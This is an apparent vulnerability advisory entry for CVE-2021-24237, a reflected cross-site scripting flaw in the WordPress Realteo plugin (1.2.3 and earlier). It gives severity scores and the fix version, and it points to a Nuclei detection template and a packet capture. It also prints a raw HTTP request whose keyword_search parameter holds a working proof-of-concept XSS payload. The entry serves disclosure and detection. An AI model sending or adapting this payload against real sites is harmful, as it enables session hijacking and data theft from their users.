| Title | WordPress Realteo <=1.2.3 - Cross-Site Scripting |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update to the latest version of the WordPress Realteo plugin (>=1.2.4) which includes a fix for the Cross-Site Scripting vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.63261 |
| CVE ID | CVE-2021-24237 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve realteo xss wordpress plugin wpscan intrusive purethemes vuln |
WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
GET /properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/38FGOyjXATPAo2VjqHHM8BNtXZL/)%3B%2F%2F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24237.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24237.pcap
N/AN/A